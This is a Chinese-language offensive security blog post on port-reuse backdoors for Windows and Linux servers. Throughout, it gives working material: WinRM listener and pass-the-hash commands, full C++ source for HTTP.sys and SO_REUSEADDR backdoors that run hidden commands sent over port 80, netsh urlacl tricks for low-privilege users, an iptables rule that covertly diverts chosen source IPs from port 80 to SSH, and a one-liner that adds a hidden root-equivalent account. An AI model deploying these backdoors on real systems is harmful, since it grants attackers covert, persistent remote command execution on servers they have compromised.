端口复用后门总结

WinRM实现端口复用

这种攻击方式前提是需要帐号和密码，如果在获得hash的情况下也可以利用evil-winrm来实现hash登录

服务介绍

WinRM全称是Windows Remote Management，是微软服务器硬件管理功能的一部分，能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统，获得一个类似Telnet的交互式命令行shell，而底层通讯协议使用的是HTTP。

后门应用

在windows2012服务器中，winrm默认启动，开启了5985端口，在2008系统中需要手动开启服务

winrm quickconfig -q

启动后防火墙也会放行该端口

设置启用httplistener监听并存

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"} //80
winrm set winrm/config/service @{EnableCompatibilityHttpsListener="true"} //443

修改监听端口为80/443

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
winrm set winrm/config/Listener?Address=*+Transport=HTTPS　 @{Port="443"}

本地连接也需要开启WinRM服务，然后设置信任连接的主机，

winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
winrs -r:http://172.16.142.151:5985 -u:administrator -p:admin123 "whoami"

WinRM PTH

mac下使用evil-winrm实施pth

sudo gem install evil-winrm
evil-winrm -i 172.16.142.151 -u administrator -H 8842xxxxxxx9c89a -P 80

测试了下复用后也是可以pth连接的。

HTTP.sys端口复用

HTTP.sys介绍

这种方法的应用场景是针对IIS，HTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序，为了优化IIS服务器性能，从IIS6.0引入，IIS服务进程依赖HTTP.sys

1 当IIS或者其他的应用使用HTTP Server API去监听请求路径的时候，这些应用需要在HTTP.SYS上面注册url prefix ，关于注册URL的规则，可以参考MSDN: https://msdn.microsoft.com/en-us/library/windows/desktop/aa364698(v=vs.85).aspx 。这是注册的过程。
2 当一个请求到来并被http.sys获取到，它需要分发这个请求给注册当前url对应的应用，这是路由的过程。

劫持程序实现

这样我们可以自己写一个注册url功能的exe，然后根据请求访问url来实现后门功能。
注册代码参考msdn和stackoverflow上的代码：

https://stackoverflow.com/questions/14931705/microsoft-c-http-server-api-httpapi-lib-httpreceiveclientcertificate-functio
https://docs.microsoft.com/zh-cn/windows/win32/http/http-server-sample-application

DWORD DoReceiveRequests(IN HANDLE hReqQueue)
{
    ULONG              result;
    HTTP_REQUEST_ID    requestId;
    DWORD              bytesRead;
    PHTTP_REQUEST      pRequest;
    PCHAR              pRequestBuffer;
    ULONG              RequestBufferLength;

    //
    // Allocate a 2 KB buffer. This size should work for most 
    // requests. The buffer size can be increased if required. Space
    // is also required for an HTTP_REQUEST structure.
    //
    RequestBufferLength = sizeof(HTTP_REQUEST) + 2048;
    pRequestBuffer = (PCHAR)ALLOC_MEM(RequestBufferLength);

    if (pRequestBuffer == NULL)
    {
        return ERROR_NOT_ENOUGH_MEMORY;
    }

    pRequest = (PHTTP_REQUEST)pRequestBuffer;

    //
    // Wait for a new request. This is indicated by a NULL 
    // request ID.
    //

    HTTP_SET_NULL_ID(&requestId);

    for (;;)
    {
        RtlZeroMemory(pRequest, RequestBufferLength);

        result = HttpReceiveHttpRequest(
            hReqQueue,          // Req Queue
            requestId,          // Req ID
            0,                  // Flags
            pRequest,           // HTTP request buffer
            RequestBufferLength,// req buffer length
            &bytesRead,         // bytes received
            NULL                // LPOVERLAPPED
        );
        if (NO_ERROR == result)
        {

            DWORD answer = 0;
            HTTP_SSL_CLIENT_CERT_INFO sslClientCertInfo;
            ULONG bytesReceived;
            answer = HttpReceiveClientCertificate(hReqQueue, pRequest->ConnectionId, 0,
                &sslClientCertInfo, sizeof(HTTP_SSL_CLIENT_CERT_INFO), &bytesReceived, NULL); //注册后等待接收
            char* command;
            char temp[512];
            string cmd_temp;
            strcpy_s(temp, pRequest->pRawUrl);
            command = temp;
            command = strstr(command, "cmd=");
            if (command == NULL)
                continue;
            cmd_temp.assign(command);
            cmd_temp.replace(cmd_temp.find("cmd="), 4, "");
            //------------------------------------
            uint8* text = (uint8*)cmd_temp.c_str();
            uint32 text_len = (uint32)strlen((char*)text);
            uint8 buffer[1024], buffer2[4096];
            uint32 size = base64_decode(text, text_len, buffer);
            buffer[size] = 0;
            //------------------------------------
            printf("%s", buffer);
            if (answer != NO_ERROR)
            {

                string results;
                if (cmd_temp.size() == 0)
                    continue;
                char* tis((char*)buffer);
                HANDLE hRead, hWrite;
                CreatePipecmd(tis, hRead, hWrite, results);
                result = SendHttpResponse(hReqQueue, pRequest, 401, "Unauthorized request", PSTR(results.c_str()));
            }
            else
            {
                result = SendHttpResponse(hReqQueue, pRequest, 200, "OK", "OK");
            }

            if (result != NO_ERROR)
            {
                //break; //if failed to send response, stop listening for further incoming requests
            }
            //
            // Reset the Request ID to handle the next request.
            //
            HTTP_SET_NULL_ID(&requestId);
        }
        else
        {
           // break;
        }

    }
    if (pRequestBuffer)
    {
        FREE_MEM(pRequestBuffer);
    }

    return result;
}

HttpReceiveClientCertificate提供客户端为响应服务器的客户端标识请求而颁发的客户端证书字段。
等待访问来源后
截取cmd=后字段内容

char* command;
char temp[512];
string cmd_temp;
strcpy_s(temp, pRequest->pRawUrl);
command = temp;
command = strstr(command, "cmd=");
if (command == NULL) //防止为空时报错。
    continue;
cmd_temp.assign(command);
cmd_temp.replace(cmd_temp.find("cmd="), 4, "");

对传入内容base64解码

uint8* text = (uint8*)cmd_temp.c_str();
uint32 text_len = (uint32)strlen((char*)text);
uint8 buffer[1024], buffer2[4096];
uint32 size = base64_decode(text, text_len, buffer);
buffer[size] = 0;

base64解码函数

#include <stdio.h>
#include <string.h>
#include <assert.h>
typedef unsigned char     uint8;
typedef unsigned long    uint32;
static uint8 alphabet_map[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
static uint8 reverse_map[] =
{
     255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
     255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
     255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 62, 255, 255, 255, 63,
     52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 255, 255, 255, 255, 255, 255,
     255,  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14,
     15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 255, 255, 255, 255, 255,
     255, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
     41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 255, 255, 255, 255, 255
};
uint32 base64_decode(const uint8* code, uint32 code_len, uint8* plain)
{
    assert((code_len & 0x03) == 0);  //如果它的条件返回错误，则终止程序执行。4的倍数。

    uint32 i, j = 0;
    uint8 quad[4];
    for (i = 0; i < code_len; i += 4)
    {
        for (uint32 k = 0; k < 4; k++)
        {
            quad[k] = reverse_map[code[i + k]];//分组，每组四个分别依次转换为base64表内的十进制数
        }

        assert(quad[0] < 64 && quad[1] < 64);

        plain[j++] = (quad[0] << 2) | (quad[1] >> 4); //取出第一个字符对应base64表的十进制数的前6位与第二个字符对应base64表的十进制数的前2位进行组合

        if (quad[2] >= 64)
            break;
        else if (quad[3] >= 64)
        {
            plain[j++] = (quad[1] << 4) | (quad[2] >> 2); //取出第二个字符对应base64表的十进制数的后4位与第三个字符对应base64表的十进制数的前4位进行组合
            break;
        }
        else
        {
            plain[j++] = (quad[1] << 4) | (quad[2] >> 2);
            plain[j++] = (quad[2] << 6) | quad[3];//取出第三个字符对应base64表的十进制数的后2位与第4个字符进行组合
        }
    }
    return j;
}

命令执行，这里我用的createprocess+命名管道实现命令结果的回传。

string results;
if (cmd_temp.size() == 0)
    continue;
char* tis((char*)buffer);
HANDLE hRead, hWrite;
CreatePipecmd(tis, hRead, hWrite, results);
result = SendHttpResponse(hReqQueue, pRequest, 401, "Unauthorized request", PSTR(results.c_str()));

为了防止输入cmd.exe/calc.exe这种造成阻塞，我用sleep 1秒后kill掉进程。
先创建命名管道，将CreateProcess执行结果传入命名管道中，最后Readfile,再将读取内容传给result中。

BOOL KillProcess(DWORD ProcessId)
{
    HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, ProcessId);
    if (hProcess == NULL)
        return FALSE;
    if (!TerminateProcess(hProcess, 0))
        return FALSE;
    return TRUE;
}
char* CreatePipecmd(char* pszCmd, HANDLE& hRead, HANDLE& hWrite, string& result)
{
    SECURITY_ATTRIBUTES sa;
    sa.nLength = sizeof(sa);
    sa.bInheritHandle = TRUE;
    sa.lpSecurityDescriptor = NULL;
    HANDLE hCmdRead, hCmdWrite;
    char buf[2048] = { 0 };
    DWORD len;
    CreatePipe(&hRead, &hCmdWrite, &sa, 0);
    int nRet = CreatePipe(&hCmdRead, &hWrite, &sa, 0);
    if (nRet == 0) {        //管道创建失败
        printf("CreatePipecmd()::CreatePipe() fail!\n");
        return NULL;
    }
    STARTUPINFO startinfo;          //设置cmd启动参数
    GetStartupInfo(&startinfo);
    startinfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    startinfo.hStdInput = hCmdRead;
    startinfo.hStdOutput = hCmdWrite;
    startinfo.hStdError = hCmdWrite;
    startinfo.wShowWindow = SW_HIDE;
    PROCESS_INFORMATION proinfo;    //创建cmd进程
    nRet = CreateProcess(NULL, pszCmd, NULL, NULL, 1, 0, NULL, NULL, &startinfo, &proinfo);
    int pid = GetProcessIdOfThread(proinfo.hThread);
    CloseHandle(hCmdRead);      //关闭cmd读写句柄HANDLE
    CloseHandle(hCmdWrite);
    CloseHandle(proinfo.hThread);
    CloseHandle(proinfo.hProcess);
    if (0 == nRet) {
        printf("CreatePipecmd()::CreateProcess() fail.\n");
        CloseHandle(hRead);
        CloseHandle(hWrite);
        result += buf;
    }
    Sleep(100);
    KillProcess(pid);
    while (ReadFile(hRead, buf, 2047, &len, NULL))
    {
        printf(buf);
        result += buf;
        ZeroMemory(buf, 2047);
    }
}

实现效果：

可以看到其中最初curl 1111.jsp是返回的404,后面注册url了后可以实现后门功能，而且calc不会造成阻塞，whoami也成功执行，带参数的route print也没有问题，route输出的内容比较多也没有问题。如果希望使用这个上线建议把上线命令写成ps1/bat/vbs，然后再去执行。

普通用户权限实现后门

上面介绍的都是在管理员权限使用。在普通用户下如何实现。

netsh http show urlacl

查看所有urlacl。

找到有一个自带url是everyone的

http_sys_backdoor.exe http://+:80/Temporary_Listen_Addresses/111.jsp

也可以自己手动添加everyone映射。

netsh http add urlacl url=http://+:80/1111.jsp user=everyone

IIS模块劫持实现

找了下资料看到3好学生介绍了两个项目，分别是C#和Cpp的实现，就不再重复造轮子了。

C

先简单说一下实现原理，在IIS7之后支持了集成模式，区别于之前的ISAPI的形式，可以通过C#编写托管模块处理网站的所有请求，这在IIS6中需要通过非托管代码写ISAPI filter来完成。

利用项目

https://github.com/WBGlIl/IIS_backdoor
整体获取Cookie中的关键字字段来进行执行相关内容和返回结果。如果不匹配相关内容就放过扔给后面程序。

代码说明：

https://mp.weixin.qq.com/s/z1d3yvp14GWakyonTh_b8A

实现效果

使用前提：
IIS开启应用程序开发功能。

这里在添加模块处需要注意.net版本。

Cpp

https://github.com/0x09AL/IIS-Raid

利用SO_REUSEADDR和SO_REUSEPORT端口复用

查到资料有提过这种思路，当这个api的第三个参数取值设置为SO_REUSEADDR时，套接字端口是可以共享复用的。但是此方法只针对Apache和IIS5.0以下版本有效。
因为在IIS6.0开始微软将网络通信封装在了ring0层，使用http.sys驱动进行通讯,所以针对iis的版本是在6.0以下，但是apache 的效果是可以使用的。

这里有个技巧是如果第一个监听进程是使用管理员/System权限启动得到话，常见：监听0.0.0.0:80，那么我们可以通过管理员权限建立一个127.0.0.1:80/10.10.10.x:80 其他网卡指定ip的监听。
如果使用普通用户实现的第一次监听，那么第二次监听我们可以使用管理员或者普通用户来进行复用。

复用的参考代码可以看：https://xz.aliyun.com/t/1661

//绑定操作
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
    saddr.sin_port = htons(80);
    if ((server_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == SOCKET_ERROR)
    {
        printf("error!socket failed!//n");
        return (-1);
    }
    //复用操作
    if (setsockopt(server_sock, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)) != 0)
    {
        printf("[!] error!setsockopt failed!//n");
        return -1;
    }
    if (bind(server_sock, (SOCKADDR *)&saddr, sizeof(saddr)) == SOCKET_ERROR)
    {
        ret = GetLastError();
        printf("[!] error!bind failed!//n");
        return -1;
    }
    listen(server_sock, 2);
    while (1)
    {
        caddsize = sizeof(scaddr);
        server_conn = accept(server_sock, (struct sockaddr *)&scaddr, &caddsize);
        if (server_conn != INVALID_SOCKET)
        {
            mt = CreateThread(NULL, 0, ClientThread, (LPVOID)server_conn, 0, &tid);
            if (mt == NULL)
            {
                printf("[!] Thread Creat Failed!//n");
                break;
            }
        }
        CloseHandle(mt);
    }
    closesocket(server_sock);
    WSACleanup();
    return 0;

最终实现如上图，但是有一点问题就是原文中直接返回的交互cmd，这样会导致正常80访问阻塞。开启监听后如果80有访问的话监听就会给客户端返回个cmd。

后面根据前面那个IIS后门修改了下，可以实现访问和后门相互无影响。

int main()
{
    WSAData wsaData;
    SOCKET listenSock;
    // 1st:  initial wsadata and socket
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    listenSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    // 设置复用
    BOOL val = TRUE;
    setsockopt(listenSock, SOL_SOCKET, SO_REUSEADDR, (char*)&val, sizeof(val));
    // 绑定
    sockaddr_in sockaaddr;
    sockaaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ////可自行更改IP，gethostbyname()
    sockaaddr.sin_family = AF_INET;
    sockaaddr.sin_port = htons(80);
    int ret;
    ret = bind(listenSock, (struct sockaddr*)&sockaaddr, sizeof(sockaddr));
    ret = listen(listenSock, SOMAXCONN);
    // 监听
    int len = sizeof(sockaaddr);
    SOCKET recvSock;
    printf("Start Listen......");
    recvSock = accept(listenSock, (struct sockaddr*)&sockaaddr, &len);
    closesocket(listenSock);
    int iResult = 0,iSendResult = 0;
    #define DEFAULT_BUF_LEN 512
    char caRecvBuf[DEFAULT_BUF_LEN];
    do 
    {
        iResult = recv(recvSock, caRecvBuf, DEFAULT_BUF_LEN, NULL);
        if (iResult > 0)
        {
            printf("Receive %d bytes of data...\n", iResult);
            string results;
            char buffer[1024];
            char* tis((char*)buffer);
            HANDLE hRead, hWrite;
            CreatePipecmd(caRecvBuf, hRead, hWrite, results);

            char* p = (char*)results.data();
            //iSendResult = send(ConnectionSocket, p, sizeof(results), NULL);
            iSendResult = send(recvSock, p, 2048, NULL);
            if (iSendResult == SOCKET_ERROR)
            {
                printf("fail to call send function\n");
                closesocket(recvSock);
                WSACleanup();
                return 1;
            }
            printf("Send %d bytes of data...\n", iResult);
        }
        else if (iResult == 0)
        {
            printf("End sending data\n");
        }
        else
        {
            printf("fail to call recv function\n");
            closesocket(recvSock);
            WSACleanup();
            return 1;
        }
    } while (iResult > 0);
    iResult = shutdown(recvSock, SD_BOTH);
    WSACleanup();
    return 0;
}

w3wp.exe利用

这个进程是IIS在以服务用户启动的进程，对用户访问网站时都会转到w3wp.exe进程进行处理。
上网冲浪中找到了这个思路，博主在跟api的时候找到了有CreatefileW函数调用所以hook了
原文：https://www.freebuf.com/articles/system/11305.html
代码：https://github.com/zhang5521/Aiwb
我在复现的过程中发现在win7/2008环境下针对w3wp.exe注入dll失败，而且通过apimonitor上也没有找到针对CreateFileW的调用，后来用之前的思路ZWcreatethreadex函数绕过session隔离，注入进程，但是还是失败，dll挂不上，而且将git上的代码编译后也无法在该环境使用。最后终于注意到了日期。估计是针对2003/iis5的环境有使用CreatefileW。这个思路等着其他大哥有环境的去测试下吧。

后来又找到一个针对安全狗这类的安全软件怎么监控IIS执行命令，判断是hook了w3wp.exe的CreateProcess函数。
文章：https://lufe1.cn/2018/07/18/%E5%AE%89%E5%85%A8%E7%8B%97%E7%A6%81%E6%AD%A2iis%E6%89%A7%E8%A1%8C%E6%8E%A2%E7%A9%B6/index.html
文章：https://lufe1.cn/2017/09/17/IIS%E5%91%BD%E4%BB%A4%E7%9B%91%E6%8E%A7/index.html

然后找到了bo主写的代码，本地测试还是不行 win7+iis7 windows2008+ iis8.5 x64都是进程注入失败

自己写的hook也尝试了，注入失败。

不想了，这算是个思路吧，

iptables端口转发

整体思路就是利用ssh软连接创建一个免密/key登录端口，iptables根据来源ip来分流到ssh服务中，这样后续建立的代理也是比较稳定的，而且是正向代理。
不过需要在实战中注意的是，很多服务器是通过负载ng来实现的，这样iptables的来源ip确认就很有必要了。还有就是很多根据不同路径路由到不同后端服务器的情况，在这种情况下你是无法指定连接正向的目标服务器，这样后面的服务器就无法连接到。

命令：

将对外开放的80端口流量转向本机22（只对8.8.8.0/24的来源IP有效，其他IP访问完全正常）：

iptables -t nat -A PREROUTING -p tcp -s 8.8.8.0/255.255.255.0 --dport 80 -j REDIRECT --to-ports 22

这样我们访问目标的80就相当于访问它的22，可以通过添加用户，可以写key，或者软连接后门都可以，达到无缝接入目标内网的目的。

附一句话添加超级用户命令：

iptables -t nat -A PREROUTING -p tcp -s 8.8.8.0/255.255.255.0 --dport 80 -j REDIRECT --to-ports 22
useradd -o -u 0 -g 0 ftps && usermod -p abZUy3uRlfJWA ftps   //密码为adminxxx.    python -c "import crypt;print crypt.crypt('adminxxx.','ab')"

https://stackoverflow.com/questions/14931705/microsoft-c-http-server-api-httpapi-lib-httpreceiveclientcertificate-functio
https://www.cnblogs.com/-qing-/p/11427512.html 渗透测试-端口复用正向后门
https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8IIS%E7%9A%84%E7%AB%AF%E5%8F%A3%E5%85%B1%E4%BA%AB%E5%8A%9F%E8%83%BD%E7%BB%95%E8%BF%87%E9%98%B2%E7%81%AB%E5%A2%99/ 利用IIS的端口共享功能绕过防火墙
https://blog.csdn.net/directionofear/article/details/8155260 C#实现的自定义IIS认证模块

参考原文链接： http://8sec.cc/index.php/archives/450/